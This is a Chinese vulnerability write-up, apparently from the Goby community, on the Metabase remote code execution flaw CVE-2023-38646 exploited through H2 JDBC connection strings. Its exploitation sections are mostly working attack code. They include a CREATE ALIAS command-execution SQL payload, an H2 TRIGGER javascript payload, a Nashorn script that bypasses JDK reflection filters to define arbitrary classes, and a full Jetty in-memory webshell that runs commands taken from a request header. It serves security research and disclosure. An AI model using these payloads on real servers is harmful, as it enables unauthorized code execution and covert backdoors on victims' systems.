漏洞分析|Metabase 代码执行漏洞(CVE-2023-38646):H2 JDBC 深入利用

news2024/11/17 5:30:17

0x01 概述

最近 Metabase 出了一个远程代码执行漏洞(CVE-2023-38646),我们通过研究分析发现该漏洞是通过 JDBC 来利用的。在 Metabase 中兼容了多种数据库,本次漏洞中主要通过 H2 JDBC 连接信息触发漏洞。目前公开针对 H2 数据库深入利用的技术仅能做到简单命令执行,无法满足实际攻防场景。

之前 pyn3rd 发布的 《Make JDBC Attacks Brilliant Again I 》 对 H2 数据库的利用中可以通过 RUNSCRIPTTRIGGER 来执行代码,通过本次漏洞利用 TRIGGER + DefineClass 完整的实现了 JAVA 代码执行和漏洞回显,且在公开仅支持 Jetty10 版本的情况下兼容到了 Jetty11,以下是我们在 Goby 中成果。
在这里插入图片描述

0x02 环境构建

研究采用 Vulfocus 构建,由于 Meabse 在官方 Docker 只有 x86 架构,为了我们 M1 芯片研究更高效,我们制作了 ARM 架构的镜像。

在线环境:添加链接描述

离线环境:docker run -d -P vulfocus/vcpe-1.0-a-metabase-metabase:0.46.6-openjdk-release

0x03 漏洞分析

本次漏洞主要是由于 Metabase 中数据库连接中出现的安全风险漏洞,在整个产品可通过 Metabase 安装时配置数据源数据库以及在安装之后在系统管理中配置数据库信息。所以整体的漏洞点即可通过安装以及配置数据源开始。

在产品安装时会调用 /api/setup/validate 来对参数校验,其中最为核心的部分对数据库的连接信息校验。

pCz4Pud.png

从函数调用的逻辑来看,/api/setup/validate 会通过 api.database/test-database-connection 来处理输入的参数完成对数据库的校验。但本身 api.database/test-database-connection 其实就是 POST /api/database 路由的核心处理参数。

pCz4AEt.png

从整体的逻辑来看,该漏洞可通过 setupdatabase 两种方式来完成对漏洞验证,不同的是 setup 方式在安装时是不需要权限的,database 需要管理员权限。

setup 在安装时会校验 setup-token 参数是否正确,来判断是否要进行下步的数据库连接。

pCz4iDA.png

setup-token 在进行生成的时候被默认设置为了 public 权限,所以可以通过 /api/session/properties 来读取。

pCz4FHI.pngpCz49jH.png

0x04 深入利用

在漏洞分析章节中说明,我们可以通过 setup + setup-token 来完整的漏洞利用。在利用时主要依靠于数据库的类型,目前 Metabase 支持多种数据库,本次我们重点说明 H2 数据库的深入利用,目前最为常用利用方式是 RUNSCRIPTTRIGGER 来完成对漏洞的利用。

H2 数据库在数据库时拥有函数 init 参数,该参数可以执行任意一条 SQL 语句,所以在整体围绕利用中主要通过一条 SQL 语句变换成完美的漏洞利用链条。

pCz4uvQ.png

4.1 RUNSCRIPT

RUNSCRIPT FROM 可以使用 HTTP 协议执行远程的 SQL 语句,那么在利用的时候我们即可构造恶意的 SQL 语句来完成对漏洞利用。

在执行 SQL 语句时 CREATE ALIAS 来会将内容值进行 javac 编译之后然后进行运行。

pCz4m8S.png

DROP ALIAS IF EXISTS sehll;CREATE ALIAS sehll AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "hello";}';CALL sehll ('touch /tmp/123')

pCz4EUP.png

需要注意的是默认官方发布的 Docker 镜像中没用 javc 命令,所以 CREATE ALIAS 无法能够正常使用。

pCz4V4f.png

但是该方式需要依赖 HTTP 服务,通常禁止向外部网络建立HTTP协议请求,所以这种方式在真实的攻击中发挥的作用就会小很多。

4.2 TRIGGER

H2 在解析 init 参数时对 CREATE TRIGGER 会由 loadFromSource 做特殊处理,根据执行内容的开头来判断是否为需要通过 javascript 引擎执行。如果以 //javascript 开头就会通过 javascript 引擎进行编译然后进行执行。

pCz4eC8.png

我们就可以通过 javascript 引擎来实现代码执行,不过该方式在 JDK 15 之后移除了默认的解析,但是有意思的是 Metabase 在项目中使用到了 js 引擎技术。

pCz4ngg.png

最后我们即可构建 javascript 引擎来构建代码执行,如:

java.lang.Runtime.getRuntime().exec('touch /tmp/999')

pCz4Muj.png

4.3 Define Class

通过 TIGGER 我们可以进行执行 javascript 引擎的任意代码执行,所以为了能够更加入的利用非常有必要进行自定义 Class 加载以及执行。由于最新版的 Metabase 对 JDK 运行产生了限制必须要求为 JDK >= 11,所以就必须要解决 JDK9 modules、JDK 11 ReflectionFilter 的问题。

针对类似问题,我们对 javascript 脚本进行了高度的兼容以及高版本 JDK 的 Bypass 操作,核心代码如下:

try {
  load("nashorn:mozilla_compat.js");
} catch (e) {}
function getUnsafe(){
  var theUnsafeMethod = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
  theUnsafeMethod.setAccessible(true); 
  return theUnsafeMethod.get(null);
}
function removeClassCache(clazz){
  var unsafe = getUnsafe();
  var clazzAnonymousClass = unsafe.defineAnonymousClass(clazz,java.lang.Class.forName("java.lang.Class").getResourceAsStream("Class.class").readAllBytes(),null);
  var reflectionDataField = clazzAnonymousClass.getDeclaredField("reflectionData");
  unsafe.putObject(clazz,unsafe.objectFieldOffset(reflectionDataField),null);
}
function bypassReflectionFilter() {
  var reflectionClass;
  try {
    reflectionClass = java.lang.Class.forName("jdk.internal.reflect.Reflection");
  } catch (error) {
    reflectionClass = java.lang.Class.forName("sun.reflect.Reflection");
  }
  var unsafe = getUnsafe();
  var classBuffer = reflectionClass.getResourceAsStream("Reflection.class").readAllBytes();
  var reflectionAnonymousClass = unsafe.defineAnonymousClass(reflectionClass, classBuffer, null);
  var fieldFilterMapField = reflectionAnonymousClass.getDeclaredField("fieldFilterMap");
  var methodFilterMapField = reflectionAnonymousClass.getDeclaredField("methodFilterMap");
  if (fieldFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(fieldFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
  }
  if (methodFilterMapField.getType().isAssignableFrom(java.lang.Class.forName("java.util.HashMap"))) {
    unsafe.putObject(reflectionClass, unsafe.staticFieldOffset(methodFilterMapField), java.lang.Class.forName("java.util.HashMap").getConstructor().newInstance());
  }
  removeClassCache(java.lang.Class.forName("java.lang.Class"));
}
function setAccessible(accessibleObject){
    var unsafe = getUnsafe();
    var overrideField = java.lang.Class.forName("java.lang.reflect.AccessibleObject").getDeclaredField("override");
    var offset = unsafe.objectFieldOffset(overrideField);
    unsafe.putBoolean(accessibleObject, offset, true);
}
function defineClass(){
  var clz = null;
  var version = java.lang.System.getProperty("java.version");
  var unsafe = getUnsafe();
  var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.net.URL"), 0));
  try{
    if (version.split(".")[0] >= 11) {
      bypassReflectionFilter();
    defineClassMethod = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", java.lang.Class.forName("[B"),java.lang.Integer.TYPE, java.lang.Integer.TYPE);
    setAccessible(defineClassMethod);
    // 绕过 setAccessible 
    clz = defineClassMethod.invoke(classLoader, bytes, 0, bytes.length);
    }else{
      var protectionDomain = new java.security.ProtectionDomain(new java.security.CodeSource(null, java.lang.reflect.Array.newInstance(java.lang.Class.forName("java.security.cert.Certificate"), 0)), null, classLoader, []);
      clz = unsafe.defineClass(null, bytes, 0, bytes.length, classLoader, protectionDomain);
    }
  }catch(error){
    error.printStackTrace();
  }finally{
    return clz;
  }
}
defineClass();

4.4 漏洞回显

在漏洞回显时,我们就可以借助 DefineClass 来执行完成对漏洞的回显利用,但是目前最新版本的 Metabase 使用 Jetty11,所以需要针对该版本做回显适配,核心代码如下:

import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

/**
 * Jetty CMD 回显马
 * @author R4v3zn woo0nise@gmail.com
 * @version 1.0.1
 */
public class JE2 {

    public JE2(){
        try{
            invoke();
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public void invoke()throws Exception{
        ThreadGroup group = Thread.currentThread().getThreadGroup();
        java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
        f.setAccessible(true);
        Thread[] threads = (Thread[]) f.get(group);
        thread : for (Thread thread: threads) {
            try{
                Field threadLocalsField = thread.getClass().getDeclaredField("threadLocals");
                threadLocalsField.setAccessible(true);
                Object threadLocals = threadLocalsField.get(thread);
                if (threadLocals == null){
                    continue;
                }
                Field tableField = threadLocals.getClass().getDeclaredField("table");
                tableField.setAccessible(true);
                Object tableValue = tableField.get(threadLocals);
                if (tableValue == null){
                    continue;
                }
                Object[] tables =  (Object[])tableValue;
                for (Object table:tables) {
                    if (table == null){
                        continue;
                    }
                    Field valueField = table.getClass().getDeclaredField("value");
                    valueField.setAccessible(true);
                    Object value = valueField.get(table);
                    if (value == null){
                        continue;
                    }
                    System.out.println(value.getClass().getName());
                    if(value.getClass().getName().endsWith("AsyncHttpConnection")){
                        Method method = value.getClass().getMethod("getRequest", null);
                        value = method.invoke(value, null);
                        method = value.getClass().getMethod("getHeader", new Class[]{String.class});
                        String cmd = (String)method.invoke(value, new Object[]{"cmd"});
                        String result = "\n"+exec(cmd);
                        method = value.getClass().getMethod("getPrintWriter", new Class[]{String.class});
                        java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(value, new Object[]{"utf-8"});
                        printWriter.println(result);
                        printWriter.flush();
                        break thread;
                    }else if(value.getClass().getName().endsWith("HttpConnection")){
                        Method method = value.getClass().getDeclaredMethod("getHttpChannel", null);
                        Object httpChannel = method.invoke(value, null);
                        method = httpChannel.getClass().getMethod("getRequest", null);
                        value = method.invoke(httpChannel, null);
                        method = value.getClass().getMethod("getHeader", new Class[]{String.class});
                        String cmd = (String)method.invoke(value, new Object[]{"cmd"});
                        String result = "\n"+exec(cmd);
                        method = httpChannel.getClass().getMethod("getResponse", null);
                        value = method.invoke(httpChannel, null);
                        method = value.getClass().getMethod("getWriter", null);
                        java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(value, null);
                        printWriter.println(result);
                        printWriter.flush();
                        break thread;
                    }else if (value.getClass().getName().endsWith("Channel")){
                        Field underlyingOutputField = value.getClass().getDeclaredField("underlyingOutput");
                        underlyingOutputField.setAccessible(true);
                        Object underlyingOutput = underlyingOutputField.get(value);
                        Object httpConnection;
                        try{
                            Field _channelField = underlyingOutput.getClass().getDeclaredField("_channel");
                            _channelField.setAccessible(true);
                            httpConnection = _channelField.get(underlyingOutput);
                        }catch (Exception e){
                            Field connectionField = underlyingOutput.getClass().getDeclaredField("this$0");
                            connectionField.setAccessible(true);
                            httpConnection = connectionField.get(underlyingOutput);
                        }
                        Object request = httpConnection.getClass().getMethod("getRequest").invoke(httpConnection);
                        Object response = httpConnection.getClass().getMethod("getResponse").invoke(httpConnection);
                        String cmd = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, "cmd");
                        OutputStream outputStream = (OutputStream)response.getClass().getMethod("getOutputStream").invoke(response);
                        String result = "\n"+exec(cmd);
                        outputStream.write(result.getBytes());
                        outputStream.flush();
                        break thread;
                    }
                }
            }catch (Exception e){}
        }
    }

    public String exec(String cmd){
        if (cmd != null && !"".equals(cmd)) {
            String os = System.getProperty("os.name").toLowerCase();
            cmd = cmd.trim();
            Process process = null;
            String[] executeCmd = null;
            if (os.contains("win")) {
                if (cmd.contains("ping") && !cmd.contains("-n")) {
                    cmd = cmd + " -n 4";
                }
                executeCmd = new String[]{"cmd", "/c", cmd};
            } else {
                if (cmd.contains("ping") && !cmd.contains("-n")) {
                    cmd = cmd + " -t 4";
                }
                executeCmd = new String[]{"sh", "-c", cmd};
            }
            try {
                process = Runtime.getRuntime().exec(executeCmd);
                Scanner s = new Scanner(process.getInputStream()).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                s = new Scanner(process.getErrorStream()).useDelimiter("\\a");
                output += s.hasNext()?s.next():"";
                return output;
            } catch (Exception e) {
                e.printStackTrace();
                return e.toString();
            } finally {
                if (process != null) {
                    process.destroy();
                }
            }
        } else {
            return "command not null";
        }
    }
}

0x05 总结

本次漏洞利用数据库连接信息触发漏洞,利用 H2 导致可以进行任意命令。我们采用 TRIGGER + DefineClass 完成对漏洞的利用,通过我们的研究分析发现该技术不光可应用在数据库连接中,更多可应用于 H2 的 SQL 注入,完成 SQL 注入 -> 代码执行的过程。

0x06 参考

  • https://pyn3rd.github.io/2022/06/06/Make-JDBC-Attacks-Brillian-Again-I/

Goby 欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。

也欢迎投稿到 Goby(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写/ IP 库使用场景/ Webshell /漏洞分析 等文章均可),审核通过后可奖励 Goby 红队版,快来加入微信群体验吧~~~

文章来自Goby社区成员:路人甲@白帽汇安全研究院,转载请注明出处。
微信群:公众号发暗号“加群”,参与积分商城、抽奖等众多有趣的活动

获取版本:https://gobysec.net/sale

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/803603.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

国产内存强势崛起,光威神条有神价,无套路闭眼可入

今年的DIY电脑市场终于摆脱了前两年的阴霾,从CPU到内存都有着充足的货源,而且价格靠谱,特别是国产存储品牌超级厚道,内存、硬盘等配件的价格基本都是大跳水,相比于去年,同样的价格能够买到容量和性能翻倍的…

ERROR 1064 - You have an error in your SQL syntax;

ERROR 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near (/, 少个逗号吧,以前开始写SQL,特别是修改SQL的时候容易出现这样错误。 而且自己也知道在附近…

SAP财务系统中的“复式记账法”

1. 前言 “复式记账法”是财务的基础知识,对于财务出身的小伙伴是so easy,但对于技术出身的同学,通常会被“借贷”关系弄的晕头转向。 本文会简明扼要的总结“复式记账法”的基本原理,并以采购和销售流程为例来介绍如何进行复式…

Java - 注解开发

注解开发定义bean Component的衍生注解 Service: 服务层的注解 Repository: 数据层的注解 Controller: 控制层的注解 纯注解开发 bean管理 bean作用范围 在类上面添加Scope(“singleton”) // prototype: 非单例 bean生命周期 PostCon…

PyTorch BatchNorm2d详解

通常和卷积层,激活函数一起使用

基于51单片机和proteus的加热洗手器系统设计

此系统是基于51单片机和proteus的仿真设计,功能如下: 1. 检测到人手后开启出水及加热。 2. LED指示加热出水及系统运行状态。 功能框图如下: Proteus仿真界面如下: 下面就各个模块逐一介绍, 模拟人手检测模块 通过…

redis 第三章

目录 1.主从复制 2.哨兵 3.集群 4.总结 1.主从复制 结果: 2.哨兵 3.集群 4.总结 通过集群,redis 解决了写操作无法负载均衡,以及存储能力受到单机限制的问题,实现了较为完善的高可用方案。

【设计模式】详解单例设计模式(包含并发、JVM)

文章目录 1、背景2、单例模式3、代码实现1、第一种实现(饿汉式)为什么属性都是static的?2、第二种实现(懒汉式,线程不安全)3、第三种实现(懒汉式,线程安全)4、第四种实现…

Android kotlin系列讲解之最佳的UI体验 - Material Design 实战

目录 一、什么是Material Design二、Toolbar三、滑动菜单1、DrawerLayout2、NavigationView 四、悬浮按钮和可交互提示1、FloatingActionButton2、Snackbar3、CoordinatorLayout 五、卡片式布局1、MaterialCardView2、AppBarLayout 六、可折叠式标题栏1、CollapsingToolbarLayo…

Python MySQL

pymysql 除了使用图形化工具以外,我们也可以使用编程语言来执行SQL从而操作数据库。 在Python中,使用第三方库:pymysql 来完成对MySQL数据库的操作。 安装: pip install pymysql 或在pycharm中搜索pymysql插件安装 创建到MySQ…

蓝桥杯单片机第十届国赛 真题+代码

iic.c /* # I2C代码片段说明1. 本文件夹中提供的驱动代码供参赛选手完成程序设计参考。2. 参赛选手可以自行编写相关代码或以该代码为基础&#xff0c;根据所选单片机类型、运行速度和试题中对单片机时钟频率的要求&#xff0c;进行代码调试和修改。 */ #include <STC1…

如何快速用Go获取短信验证码

要用Go获取短信验证码&#xff0c;通常需要连接到一个短信服务提供商的API&#xff0c;并通过该API发送请求来获取验证码。由于不同的短信服务提供商可能具有不同的API和授权方式&#xff0c;我将以一个简单的示例介绍如何使用Go语言来获取短信验证码。 在这个示例中&#xff0…

【Ansible】Ansible自动化运维工具之playbook剧本

playbook 一、playbook 的概述1. playbook 的概念2. playbook 的构成 二、playbook 的应用1. 安装 httpd 并启动2. 定义、引用变量3. 指定远程主机 sudo 切换用户4. when条件判断5. 迭代6. Templates 模块6.1 添加模板文件6.2 修改主机清单文件6.3 编写 playbook 7. tags 模块 …

338. 比特位计数

题目 题解一 动态规划——最低设置位 public static int[] countBits(int n) {int [] nums new int[n1];//存放1的个数nums[0]0;for (int i 1; i <n ; i) {nums[i] nums[i & (i-1)]1;}return nums;}题解二 分奇数和偶数&#xff1a; public static int[] countBits…

【MySQL主从复制】

目录 一、MySQL Replication 1.概述 2.优点 二、MySQL复制类型 1.异步复制&#xff08;Asynchronous repication&#xff09; 2.全同步复制&#xff08;Fully synchronous replication&#xff09; 3.半同步复制&#xff08;Semisynchronous replication&#xff09; 三…

利用VBA制作一个转盘游戏之五:最终的游戏过程

【分享成果&#xff0c;随喜正能量】真正厉害的人&#xff0c;从来不说难听的话&#xff0c;因为人心不需要听真话&#xff0c;只需要听好听的话&#xff0c;所以学着做一个有温度且睿智的人。不相为谋&#xff0c;但我照样能心平气和&#xff0c;冷眼相待&#xff0c;我依旧可…

Vite + Vue3 +TS 项目router配置踩坑记录! ===>“找不到模块“vue-router”或其相应的类型声明。“<===

目录 第一个坑&#xff1a;"找不到模块“vue-router”或其相应的类型声明。" 解决 第二个坑&#xff1a;Cannot read properties of undefined (reading push) 解决&#xff1a;将useRouter()方法的执行位置尽量放靠上一点就行了。 最近在使用vite vue3 types…

蓝精灵协会 项目最新进展 | 2023 年夏季

亲爱的蓝精灵协会持有者、会员及朋友们&#xff1a; 在熊市中打造一项雄心勃勃的 NFT 项目从来都不是一件容易的事情。在 2022 年的加密货币市场崩盘之后&#xff0c;大多数人都不会考虑投资超过 200 万欧元。但这正是我们所做的。我们对我们大胆的想法充满信心&#xff0c;尽管…

蓝桥杯单片机第十一届国赛 真题+代码

iic.c /* # I2C代码片段说明1. 本文件夹中提供的驱动代码供参赛选手完成程序设计参考。2. 参赛选手可以自行编写相关代码或以该代码为基础&#xff0c;根据所选单片机类型、运行速度和试题中对单片机时钟频率的要求&#xff0c;进行代码调试和修改。 */ #include <STC1…

8年经验分享 —— 带你从0开始学习自动化框架Airtest

现在市面上做UI自动化的框架很多&#xff0c;包括我们常用的Web自动化框架Selenium&#xff0c;移动端自动化框架Appium。 虽然Selenium和Appium分属同源&#xff0c;而且API都有很多相同的地方&#xff0c;可以无损耗切换&#xff0c;但是还是需要引入不同的库&#xff0c;而…